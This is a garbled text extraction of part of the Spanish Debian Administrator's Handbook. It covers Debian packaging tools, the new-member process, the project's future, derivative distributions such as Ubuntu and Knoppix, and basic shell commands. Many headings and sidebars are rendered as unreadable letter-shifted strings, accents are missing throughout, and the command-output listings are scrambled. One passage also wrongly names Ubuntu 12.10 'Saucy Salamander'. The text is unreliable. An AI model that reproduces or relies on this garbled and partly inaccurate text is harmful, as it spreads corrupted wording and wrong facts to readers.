sucede bastante rpido gracias a usuarios avanzados.
http://www.debian.org/doc/debian-policy/

1SPDFEJNJFOUPT
Debian no es una simple coleccin de paquetes individuales. El trabajo de empaquetado de todos es parte de un proyecto colectivo; ser un desarrollador Debian incluye saber cmo funciona el proyecto Debian como un todo. Todo desarrollador, tarde o temprano, interactuar con
otros. La referencia de desarrolladores de Debian (Debian Developer's Reference, en el paquete developers-reference) resume lo que todo desarrollador debe saber para poder interactuar de
la mejor forma posible con los varios equipos dentro del proyecto y para poder aprovechar al
mximo los recursos disponibles. Este documento tambin enumera una serie de deberes que
se espera cumpla un desarrollador.
http://www.debian.org/doc/developers-reference/

)FSSBNJFOUBT
Muchas herramientas ayudan a los encargados de paquetes con su trabajo. Esta seccin las describe rpidamente, pero no provee todos sus detalles ya que cada una de ellas posee documentacin exhaustiva.

El programa lintian Esta herramienta es una de las ms importantes: es el verificador de


paquetes Debian. Est basado en un gran conjunto de pruebas creadas a partir de la normativa
Debian y detecta rpida y automticamente muchos errores que pueden corregirse antes de
publicar los paquetes.
Esta herramienta es slo una ayuda y a veces est equivocada (por ejemplo, como la normativa
Debian cambia con el tiempo, lintian a veces est desactualizado). No es exhaustiva: no debe
interpretar el no obtener ningn error Lintian como prueba de que el paquete es perfecto; como
mximo, ste evita los errores ms comunes.

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



El programa piuparts Esta es otra herramienta importante: automatiza la instalacin, actualizacin, eliminacin y purga de un paquete (en un entorno aislado) y revisa que ninguna de
estas operaciones genere un error. Puede ayudar a detectar dependencias faltantes y tambin
detecta cuando un archivo no elimina archivos que debera luego de ser purgado.
devscripts El paquete devscripts contiene muchos programa que ayudan en un gran espectro
del trabajo de un desarrollador Debian:
debuild permite generar un paquete (con dpkg-buildpackage) y ejecutar lintian para

verificar si cumple con la normativa Debian luego.


debclean limpia un paquete fuente luego que se gener un paquete binario.

permite editar rpida y fcilmente el archivo debian/changelog en un paquete


fuente.
dch

uscan verifica si el autor original public una nueva versin de un software; esto necesita
un archivo debian/watch con una descripcin de la ubicacin de dichas publicaciones.

permite instalar (con dpkg -i) el paquete Debian que acaba de generar y le evita
tener que ingresar su nombre y ruta completos.
debi

De forma similar, debc le permite escanear el contenido de un paquete generado recientemente (con dpkg -c) sin tener que ingresar su nombre y ruta completos.
bts controla el sistema de seguimiento de errores desde la consola; este programa genera

los correos apropiados automticamente.


debrelease sube un paquete recientemente generado a un servidor remoto sin tener que
ingresar el nombre y ruta completos del archivo .changes relacionado.
debsign firma los archivos *.dsc y *.changes.

automatiza la creacin de una nueva revisin de un paquete cuando se public


una nueva versin del software original.
uupdate

debhelper y dh-make Debhelper es un conjunto de scripts que facilitan la creacin de paquetes


que cumplan la normativa; debe ejecutar estos scripts desde debian/rules. Debhelper fue ampliamente adopado en Debian, como muestra el hecho de que es utilizado en la mayora de los
paquetes Debian oficiales. Todos los programas que contiene tienen un prefijo dh_. Joey Hess es
el principal desarrollador de Debhelper.
El script dh_make (en el paquete dh-make) crea los archivos necesarios para generar un paquete Debian en un directorio que contiene inicialmente las fuentes de un software. Como puede
adivinar del nombre del programa, los archivos generados utilizan Debhelper de forma predeterminada.
"-5&3/"5*7"
$%#4



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

DECT FT PUSP FOGPRVF BM FNQBRVFUBEP EF %FCJBO CBTBEP FYDMVTJWBNFOUF FO


VO TJTUFNB EF IFSFODJB EF BSDIJWPT Makefile

&TUB IFSSBNJFOUB UJFOF TVT QBSUJEBSJPT ZB RVF FWJUB EVQMJDBS MB NJTNB MJTUB EF
SEFOFT dh_* FO FM BSDIJWP debian/rules 4JO FNCBSHP MB WFSTJO  EF %FC
IFMQFS JOUSPEVKP FM QSPHSBNB dh RVF BVUPNBUJ[B QPS T NJTNP MB TFDVFODJB
BEFDVBEB EF MMBNBEBT B UPEPT MPT QSPHSBNBT JOEJWJEVBMFT FO FM PSEFO DPSSFD
UP EFTEF FOUPODFT $%#4 QFSEJ HSBO QBSUF EF TV BUSBDUJWP

dupload y dput

Los programas dupload y dput permiten subir un paquete Debian a un servidor (posiblemente remoto). Esto permite a los desarrolladores publicar sus paquetes al servidor Debian principal (QNBTUFSEFCJBOPSH) para que pueda ser integrado al repositorio y distribuido por sus rplicas. Estos programas toman como parmetros un archivo *.changes y
deducen los dems archivos relevantes de su contenido.

 1SPDFTP EF BDFQUBDJO


Convertirse en un desarrollador Debian no es una simple cuestin administrativa. El proceso
tiene varios pasos y se parece tanto a una iniciacin como a un proceso de seleccin. En cualquier
caso, est formalizado y bien documentado por lo que cualquiera puede seguir su progreso en
el sitio web dedicado al proceso para nuevos miembros.
http://nm.debian.org/
&953"
1SPDFTP MJWJBOP QBSB
kFODBSHBEPT %FCJBO{

3FDJFOUFNFOUF TF JOUSPEVKP MB QPTJDJO EF kFODBSHBEP %FCJBO{ k%FCJBO


.BJOUBJOFS{
 &M QSPDFTP BTPDJBEP FT NT SQJEP Z MPT QSJWJMFHJPT QSPWJTUPT TPO
TMP TVGJDJFOUFT QBSB NBOUFOFS MPT QBRVFUFT QSPQJPT 6O EFTBSSPMMBEPS %FCJBO
TMP EFCF SFBMJ[BS VOB SFWJTJO FO FM QBRVFUF JOJDJBM Z SFBMJ[BS VOB EFDMBSBDJO
JOEJDBOEP RVF DPOGBO FO FM FODBSHBEP QPUFODJBM Z TV IBCJMJEBE EF NBOUFOFS
FM QBRVFUF QPS TV DVFOUB

1SFSFRVJTJUPT
Se espera que todos los candidatos tengan un conocimiento prctico del idioma ingls. Esto es
necesario en todos los niveles: por supuesto, para la comunicacin inicial con el examinador
pero tambin luego, ya que el ingls es el idioma de preferencia para la mayora de la documentacin; adems los usuarios de paquetes se comunicarn en ingls al reportar errores y
esperarn respuestas en el mismo idioma.
El otro prerequisito tiene que ver con la motivacin. Ser un desarrollador Debian es un proceso
que slo tiene sentido si el candidato sabe que su inters en Debian durar muchos meses. El
proceso de aceptacin en s puede durar varios meses, y Debian necesita desarrolladores a largo
plazo; se necesita mantener permanentemente cada paquete y no slo subirlos y ya.

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



3FHJTUSBDJO
El primer paso (real) consiste en encontrar un patrocinador (sponsor) o partidario (advocate); esto significa un desarrollador oficial dispuesto a manifestar que aceptar X sera algo
bueno para Debian. Esto generalmente implica que el candidato ha participado en la comunidad
y que se apreci su trabajo. Si el candidato es tmido y no promocion su trabajo pblicamente,
pueden intentar convencer a un desarrollador Debian para que lo patrocine mostrndole su
trabajo en privado.
Al mismo tiempo, el candidato debe generar un par de llaves pblica/privada con GnuPG, que
deben ser firmadas por al menos dos desarrolladores Debian oficiales. La firma autentica el nombre en la llave. Efectivamente, durante una fiesta de firma de llaves, cada participante debe
mostrar identificacin oficial (generalmente un pasaporte o documento de identidad) junto con
sus identificadores de llaves. Este paso hace oficial el enlace entre la persona y las llaves. Esta firma, por lo tanto, requiere encontrarse en la vida real. Si no encuentra ningn desarrollador Debian en una conferencia pblica de software libre, puede buscar explcitamente desarrolladores
que vivan cerca utilizando la lista en la siguiente pgina web como punto de partida.
http://wiki.debian.org/Keysigning
Una vez que el patrocinador valid la registracin en ONEFCJBOPSH, se le asigna al candidato un
Gestor de aplicacin (Application Manager). El gestor de aplicacin, de all en adelante, dirigir
el proceso a travs de varios pasos y validaciones predeterminados.
La primera verificacin es una comprobacin de identidad. Si ya tiene una llave firmada por dos
desarrolladores Debian, este paso es sencillo; de lo contrario, el gestor de aplicacin intentar
guiarlo para buscar desarrolladores Debian cercanos y organizar una reunin y firma de llaves.
Muy al comienzo del proceso, cuando la cantidad de desarrolladores era pequea, haba una
excepcin para este procedimiento que permita completar este paso con un escaneo digital de
documentos oficiales de identifiacin; ya no es el caso.

"DFQUBDJO EF QSJODJQJPT
Se siguen estas formalidades administrativas con consideraciones filosficas. El objetivo es asegurarse que el candidato entiende y acepta el contrato social y los principios detrs del Software
Libre. Unirse a Debian slo es posible si uno comparte los valores que unen a los desarrolladores
actuales, como estn expresados en los textos de fundacin (resumidos en el Captulo 1: El
proyecto Debian pgina 2).
Adems, se espera que cada candidato que desee unirse a las filas de Debian conozca cmo funciona el proyecto y cmo interactuar de forma apropiada para solucionar los problemas que
seguramente encontrarn con el paso del tiempo. Toda esta informacin generalmente est documentada en los manuales para nuevos encargados y en la referencia para desarrolladores de
Debian. Debera bastar con una lectura atenta de este documento para responder las preguntas del examinador. Si las respuestas no son satisfactorias, se le informar al candidato. Luego
tendr que leer (nuevamente) la documentacin relevante antes de intentarlo nuevamente. En
aquellos casos en los que la documentacin existente no contenga la respuesta apropiada para



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

la pregunta, el candidato frecuentemente podr llegar a la respuesta con un poco de experienca prctica dentro de Debian o, potencialmente, discutiendo con otros desarrolladores Debian.
Este mecanismo asegura que los candidatos se involucren de alguna forma en Debian antes de
formar completamente parte de l. Es una normativa deliberada, por la que los candidatos que
se unirn eventualmente al proyecto son integrados como otra pieza de un rompecabezas que
se puede extender sin fin.
Este paso es conocido generalmente como filosofa y procedimientos (abreviado como P&P por
Philosophy & Procedures) en la jerga de los desarrolladores involucrados en el proceso de
nuevos miembros.

3FWJTJO EF IBCJMJEBEFT
Se debe justificar cada aplicacin para convertirse en un desarrollador oficial de Debian. Convertirse en un miembro del proyecto requiere mostrar que esta posicin es legtima y que facilita el
trabajo del candidato para ayudar a Debian. La justificacin ms comn es que ser desarrollador
Debian facilita el mantener un paquete Debian, pero no es la nica. Algunos desarrolladores
se unen al proyecto para adaptar una arquitectura particular, otros desean mejorar la documentacin, etc.
Este paso le ofrece al candidato la oportunidad de especificar lo que desean hacer dentro del
proyecto Debian y mostrar lo que ya han hecho para ello. Debian es un proyecto pragmtico y
decir algo no es suficiente si las acciones no coinciden con lo que se anuncia. Frecuentemente,
cuando el rol deseado dentro del proyecto est relacionado con la manutencin de un paquete,
se deber validar tcnicamente una primera versin del futuro paquete y deber ser subido a
los servidores Debian por un desarrollador Debian existente como patrocinador.
$0.6/*%"%
1BUSPDJOJP

-PT EFTBSSPMMBEPSFT %FCJBO QVFEFO kQBUSPDJOBS{ kTQPOTPS{


QBRVFUFT
QSFQBSBEPT QPS BMHVJFO NT MP RVF TJHOJGJDB RVF MPT QVCMJDBO FO MPT SFQPTJ
UPSJPT %FCJBO PGJDJBMFT MVFHP EF IBCFS SFBMJ[BEP VOB SFWJTJO DVJEBEPTB &TUF
NFDBOJTNP MF QFSNJUF B UFSDFSPT RVJFOFT UPEBWB OP BUSBWFTBSPO FM QSPDFTP
EF OVFWPT NJFNCSPT DPOUSJCVJS BM QSPZFDUP PDBTJPOBMNFOUF "M NJTNP UJFN
QP BTFHVSB RVF UPEPT MPT QBRVFUFT JODMVJEPT FO %FCJBO TJFNQSF TPO SFWJTBEPT
QPS VO NJFNCSP PGJDJBM

Finalmente, el examinador revisa las habilidades tcnicas (empaquetado) del candidato con un
cuestionario detallado. No se permiten respuestas incorrectas, pero no hay lmite de tiempo para
responder. Toda la documentacin est disponible y se permiten varios intentos si las primeras
respuestas no son satisfactorias. Este paso no intenta discriminar, sino garantizar al menos un
mnimo comn de conocimiento para todos los nuevos contribuyentes.
En la jerga de los examinadores, se conoce a este paso como tareas y habilidades (abreviado T&S
por Tasks & Skills).

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



"QSPCBDJO GJOBM
En el ltimo paso, un DAM (gestor de cuentas Debian: Debian Account Manager) revisa todo el
proceso. El DAM revisar toda la informacin que recolect el examinador sobre el candidato y
tomar la decisin de crearle una cuenta en los servidores Debian o no. En los casos que necesite
informacin adicional se puede demorar la creacin de la cuenta. Los rechazos son bastante
raros si el examinador realiza un buen trabajo siguiendo el procedimiento, pero a veces ocurren.
Nunca son permanentes y el candidato es libre de intentar nuevamente luego de un tiempo.
La decisin del DAM es final y (casi) sin apelacin, lo que explica porqu, en el pasado, se criticaba
frecuentemente a aquellos en dicho rol (actualmente Jrg Jaspert, Christoph Berg y Enrico Zini).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
'VUVSP
.FKPSBT
0QJOJPOFT

$BQUVMP

$PODMVTJO FM GVUVSP
EF %FCJBO


$POUFOJEPT

-PT QSYJNPT EFTBSSPMMPT 

&M GVUVSP EF %FCJBO 

&M GVUVSP EF FTUF MJCSP 

La historia de Falcot Corp termina con este ltimo captulo, pero Debian contina y
el futuro seguramente traer muchas sorpresas interesantes.

 -PT QSYJNPT EFTBSSPMMPT


Semanas (o meses) antes que se publique una nueva versin de Debian el Gestor de versiones
selecciona el nombre cdigo de la prxima versin. Ahora que sali la versin 7 de Debian los
desarrolladores ya estn ocupados trabajando en la prxima versin, con nombre cdigo Jessie
No hay lista oficial de cambios planeados y Debian nunca hace promesas relacionadas con los objetivos tcnicos de las prximas versiones. Sin embargo, ya se pueden notar algunas tendencias
en el desarrollo podemos realizar apuestas sobre lo que podra suceder (o no).
El proceso init predeterminado (sysvinit) esperemos ser reemplazado por un sistema ms
moderno como upstart o systemd. Algunas adaptaciones sern eliminadas: T ser reemplazada por TY, TQBSD y JB podran seguirle ya que tienen varios problemas (falta de hardware reciente, falta de equipos en Debian, falta de ayuda desde origen, etc.). Se le agregar la
orden --verify a dpkg que dejar casi obsoleto a debsums.
Por supuesto, todas las suites de software principales van a haber tenido una nueva versin.
Apache 2.4 (o posterior) va a haber tenido un gran impacto en los sitios web despliegados ya
que ser necesario actualizar muchos archivos de configuracin. Es probable que el ncleo Linux tenga mucho mejor compatibilidad con contenedores (con nombres de espacio de usuarios,
abriendo el camino a contenedores ms seguros). Y la ltima versin de los varios escritorios
acarrearn mejor usabilidad y nuevas funcionalidades. GNOME 3 estra mucho ms pulido y los
fanticos del viejo y confiable GNOME 2 estarn satisfechos con la inclusin de MATE1 en Debian.

 &M GVUVSP EF %FCJBO


Adems de estos desarrollos internos uno puede, siendo razonable, esperar que vean la luz
nuevas distribuciones basadas en Debian ya que muchas herramientas continan faciltando esta tarea. Tambin comenzarn nuevos subproyectos especializados para aumentar el alcance de
Debian en nuevos horizontes.
La comunidad de usuarios de Debian aumentar y nuevos colaboradores se unirn al proyecto
incluso, tal vez, usted!
El proyecto Debian es ms fuerte que nunca y bien encaminado en su objetivo de ser una distribucin universal; el chiste interno en la comunidad Debian es dominacin mundial (World
Domination).
A pesar de su edad y tamao, Debian contina creciendo en todas direcciones (a veces inesperadas). Los colaboradores hierven con ideas y el impuslo aumenta con las discusiones en las listas
de correo de desarrollo, an cuando parezcan peleas de gallos. A veces se compara a Debian con
un agujero negro, de tal densidad que atrae a cualquier nuevo proyecto de software.
Adems de la aparente satisfaccin de la mayora de los usuarios de Debian, parece volverse
ms y ms indisputable una nueva tendencia: la gente se da cuenta cada vez ms que colaborar, en lugar de trabajar por su cuenta en su rincn, lleva a mejores resultados para todos. Tal
1



http://mate-desktop.org/

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

es el razonamiento utilizado por las distribuciones que vuelven a incorporarse a Debian como
subproyectos.
El proyecto Debian, por lo tanto, no tiene miedo a la extincin

 &M GVUVSP EF FTUF MJCSP


Querras que este libro evolucione en el espritu del software libre. Por lo tanto, damos la bienvenida a contribuciones, comentarios, sugerencias y crticas. Dirjalas a Raphal (hertzog@
debian.org) o Roland (lolando@debian.org). Si tiene sugerencias o comentarios que necesiten algn tipo de accin, puede reportar un error en el paquete Debian EFCJBOIBOECPPL. Usaremos
el sitio web para juntar toda la informacin relevante a su evolucin y all encontrar informacin sobre cmo colaborar, especialmente si desea traducir este libro para que est disponible
inclusive para ms gente que aquella a la que puede llegar hoy.
http://debian-handbook.info/
Intentamos integrar la mayora de lo que nos ense nuestra experiencia en Debian para que
cualquiera pueda utilizar esta distribucin y aprovecharla al mximo lo ms rpido posible. Esperamos que este libro contribuya a hacer Debian menos confuso y ms popular, damos la bienvenida a que lo publiciten!
Nos gustara finalizar en un tono ms personal. Escribir (y traducir) este libro tom un tiempo
considerable de nuestra actividad profesional usual. Ya que ambos somos consultores independientes, cualquier nueva fuente de ingresos nos da la libertad de dedicar ms tiempo en mejorar
Debian; esperamos que este libro sea exitoso y contribuya con ello. Mientras tanto puede contratarnos!
http://www.freexian.com
http://www.gnurandal.com
Hasta pronto!

$PODMVTJO FM GVUVSP EF %FCJBO



"QOEJDF

%JTUSJCVDJPOFT
EFSJWBEBT

"
$POUFOJEPT

$FOTP Z DPPQFSBDJO 

6CVOUV 

"QUPTJE BOUFSJPSNFOUF 4JEVY




,OPQQJY 
(SNM 

-JOVY .JOU 


%PVEPV-JOVY 

4JNQMZ.&1*4 
: NVDIBT NT 

" $FOTP Z DPPQFSBDJO


El Proyecto Debian reconoce plenamente la importancia de distribuciones derivadas y respalda activamente la colaboracin entre todas las partes involucradas. Usualmente esto involucra
integrar mejoras desarrolladas inicialmente por una distribucin derivada de tal manera que
cualquiera pueda beneficiarse y se reduzca el trabajo de mantenimiento a largo plazo.
Esto explica porqu se invita a las distribuciones derivadas a involucrarse en las discusiones en la
lista de correo EFCJBOEFSJWBUJWFT!MJTUTEFCJBOPSH y participar en el censo de derivados. Este
censo tiene el objetivo de recolectar informacin sobre el trabajo que ocurre en un derivado para
que los desarrolladores Debian oficiales puedan seguir ms fcilmente el estado de sus paquetes
en las variantes de Debian.
http://wiki.debian.org/DerivativesFrontDesk
http://wiki.debian.org/Derivatives/Census
Ahora describiremos brevemente las distribuciones derivadas ms interesantes y populares.

" 6CVOUV
Ubuntu caus gran revuelo cuando lleg al escenario del Software Libre, y por buenas razones:
Canonical Ltd., la empresa que cre esta distribucin, comenz contratando poco ms de treinta
desarrolladores Debian y publicando su objetivo a muy largo plazo de proveer una distribucin

para el pblico en general con una nueva versin dos veces al ao. Tambin se comprometieron
a mantener cada versin por un ao y medio.
Estos objetivos necesariamente conllevaron una reduccin en su alcance; Ubuntu se concentra
en una menor cantidad de paquetes que Debian y est basada principalmente en el escritorio
GNOME (aunque una distribucin oficial derivada de Ubuntu, llamada Kubuntu, est basada
en KDE). Todo es internacionalizado y est disponible en muchos idiomas.
Hasta ahora, Ubuntu logr mantener este ritmo de publicacin. Tambin publican versiones de
soporte a largo plazo (LTS: Long Term Support), con una promesa de manutencin de 5 aos.
En Noviembre de 2013, la versin LTS actual es la 12.04, apodada Precise Pangolin. La ltima
versin no LTS es la 12.10, apodada Saucy Salamander. Los nmeros de versin describen la
fecha de publicacin: 13.10, por ejemplo, fue publicada en Octubre de 2013.
&/ -" 13$5*$"
FM TPQPSUF RVF PGSFDF 6CVOUV
Z MB QSPNFTB EF
NBOUFOJNJFOUP

$BOPOJDBM IB BKVTUBEP WBSJBT WFDFT MBT SFHMBT RVF DPOUSPMBO MB MPOHJUVE EFM
QFSPEP EVSBOUF FM RVF TF NBOUJFOF VOB QVCMJDBDJO EBEB $BOPOJDBM DPNP
FNQSFTB QSPNFUF QSPWFFS BDUVBMJ[BDJPOFT EF TFHVSJEBE QBSB UPEP FM TPXBSF
EJTQPOJCMF FO MBT TFDDJPOFT main Z restricted EFM DPNQFOEJP EF 6CVOUV EV
SBOUF  BPT QBSB QVCMJDBDJPOFT -54 Z QPS  NFTFT QBSB QVCMJDBDJPOFT RVF OP MP
TFBO -PT NJFNCSPT EFM FRVJQP .056 EVFPT EFM VOJWFSTP k.BTUFST 0G 5IF
6OJWFSTF{
NBOUJFOFO UPEPT MPT EFNT QBRVFUFT EJTQPOJCMFT FO universe Z
multiverse
TFHO FM NFKPS FTGVFS[P QPTJCMF 1SFQSFTF QBSB HFTUJPOBS FM TP
QPSUF EF TFHVSJEBE QPS TV DVFOUB TJ EFQFOEF EF QBRVFUFT FO FTUBT MUJNBT
TFDDJPOFT

Ubuntu lleg a una amplia audiencia en el pblico general. Millones de usuarios se impresionaron por su facilidad de instalacin y el trabajo que se realiz en hacer que el escritorio sea ms
sencillo de utilizar.
Sin embargo, no todo es color de rosa, especialmente para los desarrolladores Debian que tenan
mucha esperanza en que Ubuntu contribuyera directamente con Debian. Si bien esta situacin
mejor con el paso de los aos, muchos se irritan por el mercadeo de Canonical en el que implican que Ubuntu es un buen ciudadano en el mundo del Software Libre simplemente porque
publican los cambios que realizan a los paquetes Debian. Los partidarios del Software Libre entienden que un parche generado automticamente no tiene mucha utilidad en el proceso de
contribucin con el origen. Conseguir que nuestro trabajo sea integrado requiere interaccin
directa con la otra parte.
Esta interaccin es cada vez ms comn con el tiempo, en parte gracias a la comunidad de Ubuntu y el esfuerzo que realiza en la educacin de sus nuevos colaboradores.
http://www.ubuntu.com/

" ,OPQQJY
La distribucin Knoppix casi no necesita introduccin. Fue la primera distribucin popular que
provey un LiveCD; en otras palabras, un CD-ROM de arranque que ejecutaba un sistema Linux



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

listo sin necesitar un disco duro se mantendra intacto cualquier sistema ya instalado en la
mquina. La deteccin automtica de los dispositivos disponibles le permiti a esta distribucin
funcionar en la mayora de las configuraciones de hardware. El CD-ROM incluye casi 2 Gb de
software (comprimido).
La combinacin de este CD-ROM y una llave USB le permite llevar sus archivos a todos lados y
trabajar en cualquier equipo sin dejar rastros recuerde que la distribucin no utiliza el disco
duro en absoluto. Knoppix est basado en su mayor parte en LXDE (un escritorio grfico liviano),
pero muchas otras distribuciones proveen otras combinaciones de escritorios y software. Esto
es posible, en parte, gracias al paquete Debian live-build que hace relativamente sencillo crear
un LiveCD.
http://live.debian.net/
Sepa que Knoppix tambin provee un instalador: puede primero probar la distribucin como
LiveCD y luego instalarla en un disco duro para obtener mejor rendimiento.
http://www.knopper.net/knoppix/index-en.html

" -JOVY .JOU


Linux Mint es una distribucin (parcialmente) mantenida por la comunidad, respaldada con
donaciones y publicidad. Su producto estrella est basado en Ubuntu, pero tambin proveen una
variante Linux Mint Debian Edition que evoluciona continuamente (y est basada en Debian
Testing). En ambos casos, la instalacin inicial involucra arrancar con un LiveDVD.
La distribucin intenta simplificar el acceso a tecnologas avanzadas y provee interfaces grficas especficas sobre el software usual. Por ejemplo, si bien Linux Mint est basado en GNOME,
provee un sistema de mens diferente; de forma similar, la interfaz de gestin de paquetes,
aunque basada en APT, provee una interfaz especfica con una evaluacin del riesgo en cada
actualizacin de un paquete.
Linux Mint incluye una gran cantidad de software privativo para mejorar la experiencia de los
usuarios que lo puedan necesitar. Por ejemplo: Adobe Flash y codecs multimedia.
http://www.linuxmint.com/

" 4JNQMZ.&1*4
SimplyMEPIS es una distribucin comercial muy similar a Knoppix. Provee un sistema Linux
listo desde un LiveCD e incluye una cantidad de paquetes de software privativo: controladores
de dispositivo para tarjetas de video nVidia, Flash para las animaciones incluidas en muchos
sitios web, RealPlayer, Java de Sun, etc. El objetivo es proveer un sistema 100 % funcional desde
el primer momento. Mepis est internacionalizado e incluye muchos idiomas.
http://www.mepis.org/

%JTUSJCVDJPOFT EFSJWBEBT



Esta distribucin estaba originalmente basada en Debian; se mud a Ubuntu por un tiempo,
luego volvi a Debian Stable, lo que le permita a sus desarrolladores agregar funcionalidad sin
tener que estabilizar los paquetes que provenan de la distribucin Unstable de Debian.

" "QUPTJE BOUFSJPSNFOUF 4JEVY

Esta distribucin basada en la comunidad sigue los cambios de Debian Sid (Unstable) de all su
nombre e intenta publicar 4 versiones nuevas cada ao. Las modificaciones tienen alcances
limitados: el objetivo es proveer el software ms reciente y actualizar los controladores para
el hardware ms reciente al mismo tiempo que permite a sus usuarios volver a la distribucin
oficial de Debian en cualquier momento.
http://aptosid.com

" (SNM
Grml es un LiveCD con muchas herramientoas para administradores de sistemas que tienen que
ver con la instalacin, despliegue y rescate de sistemas. Se provee el LiveCD en dos versiones, GVMM
(completo) y TNBMM (pequeo), ambas disponibles para equipos de 32 y 64 bits. Obviamente,
la diferencia entre estas versiones es la cantidad de software includo y el tamao del resultado.
http://grml.org

" %PVEPV-JOVY
DoudouLinux tiene como objetivo a los nios pequeos (desde los 2 aos de edad). Para conseguir este objetivo, provee una interfaz grfica muy modificada (basada en LXDE) y contiene
muchos juegos y aplicaciones educativas. El acceso a Internet est filtrado para evitar que los
nios accedan a sitios web problemticos. Y la publicidad se encuentra bloqueada. El objetivo es
que los padres puedan dejar tranquilamente que sus hijos utilicen el equipo una vez que inici
DoudouLinux. Y los nios deberan estar encantados con DoudouLinux de la misma forma que
disfrutan consolas de videojuegos.
http://www.doudoulinux.org

" : NVDIBT NT
El sitio web Distrowatch hace referencia a una inmensa cantidad de distribuciones Linux,
muchas de las cuales estn basadas en Debian. Navegar este sitio es una excelente forma de
adentrarse en la diversidad del mundo del Software Libre.
http://distrowatch.com



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

El formulario de bsqueda le puede ayudar a rastrear una distribucin segn su linaje. En


noviembre de 2013, seleccionar Debian llevaba a 143 distribuciones activas!
http://distrowatch.com/search.php

%JTUSJCVDJPOFT EFSJWBEBT



"QOEJDF

$VSTP CSFWF EF
FNFSHFODJB

#
$POUFOJEPT

$POTPMB Z SEFOFT CTJDBT 

0SHBOJ[BDJO EF MB KFSBSRVB EFM TJTUFNB EF BSDIJWPT 

'VODJPOBNJFOUP JOUFSOP EF VO FRVJQP MBT EJGFSFOUFT DBQBT JOWPMVDSBEBT 


"MHVOBT UBSFBT BENJOJTUSBEBT QPS FM ODMFP 

&M FTQBDJP EF VTVBSJP 

# $POTPMB Z SEFOFT CTJDBT


En el mundo Unix, todo administrador debe utilizar la lnea de rdenes tarde o temprano; por
ejemplo, cuando el sistema no inicia adecuadamente y slo provee la consola de modo de rescate.
Poder manejar tal interfaz es, por lo tanto, una habilidad de supervivencia bsica para dichas
circunstancias.
7*45" 31*%"
*OJDJP EFM JOUSQSFUF EF
SEFOFT

1VFEF FKFDVUBS VO FOUPSOP EF MOFB EF SEFOFT EFTEF FM FTDSJUPSJP HSGJ


DPT DPO VOB BQMJDBDJO DPOPDJEB DPNP kUFSNJOBM{ DPNP MBT RVF FODPOUSBS
FO FM NFO "QMJDBDJPOFT "DDFTPSJPT EF (OPNF Z FO , "QMJDBDJPOFT
4JTUFNB EF ,%&

Esta seccin slo provee una mirada rpida de las rdenes. Todas tienen muchas opciones que
no describimos; como corresponde, tambin poseen documentacin abundante en sus pginas
de manual respectivas.

# /BWFHBDJO EFM SCPM EF EJSFDUPSJPT Z HFTUJO EF BSDIJWPT


Una vez que abri una sesin, el programa pwd (que significa imprimir directorio de trabajo: print
working directory) mostrar la ubicacin actual en el sistema de archivos. Puede cambiar el directorio actual ejecutando cd directorio (cd significa cambiar directorio: change directory).

El directorio padre siempre se llama  (dos puntos), mientras que tambin se conoce al directorio actual como  (un punto). El programa ls permite enumerar (listing) el contenido de un
directorio. Si no le provee ningn parmetro, operar en el directorio actual.
$ pwd
/home/rhertzog
$ cd Desktop
$ pwd
/home/rhertzog/Desktop
$ cd .
$ pwd
/home/rhertzog/Desktop
$ cd ..
$ pwd
/home/rhertzog
$ ls
Desktop
Downloads Pictures
Documents Music
Public

Templates
Videos

Puede crear un directorio nuevo con mkdir directorio y puede eliminar un directorio existente (y vaco) con rmdir directorio. El programa mv permite mover (move) y/o cambiar el
nombre de archivos y directorios; eliminar (remove) un archivo con rm archivo.
$ mkdir test
$ ls
Desktop
Downloads
Documents Music
$ mv test new
$ ls
Desktop
Downloads
Documents Music
$ rmdir new
$ ls
Desktop
Downloads
Documents Music

Pictures
Public

Templates
test

Videos

new
Pictures

Public
Templates

Videos

Pictures
Public

Templates
test

Videos

# 7JTVBMJ[BDJO Z NPEJGJDBDJO EF BSDIJWPT EF UFYUP


Si ejecuta cat archivo (concatena concatenate archivos a su salida estndar) ste leer el
archivo y mostrar sus contenidos en la terminal. Si el archivo es demasiado grande para entrar
en una pantalla, utilice un paginador como less (o more) para mostrarlo pgina por pgina.
El programa editor siempre apunta a un editor de texto (como vi o nano) y permite crear,
modificar y leer archivos de texto. A veces puede crear los archivos ms simples directamente
desde el intrprete utilizando redireccin: echo "texto" >archivo crear un archivo llamado
archivo con texto como su contenido. Tambin es posible agregar una lnea al final de este
archivo si ejecuta algo como echo "lnea" >> archivo.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# #TRVFEB EF Z FO BSDIJWPT


Si ejecuta find directorio criterio, buscar archivos en la jerarqua dentro de directorio
segn varios criterios. El criterio utilizado ms frecuentemente es OBNF OPNCSF: permite buscar un archivo segn su nombre.
Si ejecuta grep expresin archivos busca en el contenido de los archivos y extrae las lneas
que coinciden con la expresin regular (revise el recuadro Expresiones regulares pgina 271).
Agregar la opcin S activa una bsqueda recursiva en todos los archivos que contenga el directorio que pas como parmetro. Esto permite buscar en un archivo del que slo conoce parte de
su contenido.

# (FTUJO EF QSPDFTP


Si ejecuta ps aux, obtendr una enumeracin de los procesos actualmente en ejecucin y le
premitir identificarlos por su pid (id de proceso: process id). Una vez que sabe el pid de un
proceso, puede ejecutar kill -seal pid para enviarle una seal (siempre que sea el dueo del
proceso). Existen varias seales, las ms utilizadas son 5&3. (pedido de terminacin) y ,*-(finalizacin forzada).
El intrprete de rdenes tambin puede ejecutar programas en segundo plano si la orden finaliza con &. Cuando utiliza el smbolo et, el usuario recupera el control de la consola inmediatamente an cuando la orden contina en ejecucin (escondido del usuario como un proceso
en segundo plano). El programa jobs (trabajos) enumerar los procesos ejecutndose en segundo plano; si ejecuta fg %nmero-de-trabajo (por primer plano: foreground) recuperar
en primer plano una orden. Cuando un programa est ejecutndose en primer plano (ya sea
porque se lo inici de esa forma o porque se lo recuper desde segundo plano con fg) puede
pausar el proceso y obtener el control de la lnea de rdenes con la combinacin de teclas Control+Z. Luego puede continuar el proceso en segundo plano con bg %nmero-de-trabajo (por
segundo plano: background).

